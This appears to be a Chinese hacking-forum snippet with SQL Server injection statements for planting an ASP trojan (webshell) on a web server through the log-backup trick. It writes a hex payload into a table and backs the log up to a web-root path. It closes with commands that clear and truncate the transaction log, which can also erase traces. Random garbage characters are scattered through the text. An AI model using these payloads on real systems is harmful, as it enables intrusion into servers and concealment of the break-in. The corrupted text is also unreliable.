select * from master.dbo.sysdatabases 列出所有列的记录
/ y7 u& @! F1 [
5 m$ x; k0 n e3 S) F. g7 Bselect name from master.dbo.sysdatabases 仅列出name列的记录
! E6 H6 X( [+ Q' f1 d" d% L' S& M; P# l9 }* f
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份4 O9 b5 B4 S& s8 V
5 r0 o) U' S/ h% R. `1 r* c
alter database 数据库名 set RECOVERY FULL--
' q& I, |+ I/ Q! r, a$ v& h
% ` g# H! T9 Ucreate table cmd (a image)-- \**cmd是创建的临时表
. ~7 X9 g% y+ w9 N; W" Y
6 B" l7 E) R4 J& ~backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--, R7 [; k$ L6 p8 J
, n/ R" r0 Q; n; Q; |2 N7 F
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
0 a) w9 I/ P+ s2 Y% U) b/ I+ L B* G- v) x
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
3 O ?9 {2 C; p+ f' q7 K$ V/ G1 X' {' c1 Y
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
6 j; O* y# t" f2 \7 t, r/ W/ s- @* Z [, E3 u
drop table cmd--( G* D% R3 ~ }$ l' P+ N7 o- u+ u, |* h) b
& b T# ^" |3 O5 C/ Z( J0 ?1 e6 T& X* f1 A# v- r' J, U3 t
f:\) x' D1 {/ J3 ~
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)" a9 d, [2 X Z7 z
9 e ?7 w" }1 I Q. z0 g9 C
最好多加几个回车0d0a,要不会出错哈" n" e" o9 {8 R; P; G: L' r- k
) A4 f6 i7 @# S& o! f- Q+ J' V' z6 q. z. B8 w( d [8 s' e( H- ]
SQL Server日志清空方法
1 a; v$ |7 A2 h/ A6 A9 _
5 v5 b. \8 M1 x: g$ T* {在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
6 N# J L' Y" W, _2 @1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
$ p' g4 L" U4 R& ~' D
3 ^& t6 U4 a7 s, W6 _. ^* B2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
' ]: }+ ^& U6 V% x( [% b
6 q! [: K4 Y; F, ?. b8 K3.收缩数据库:DBCC SHRINKDATABASE(databasename)
- f. g+ E8 i, j7 [1 S2 S |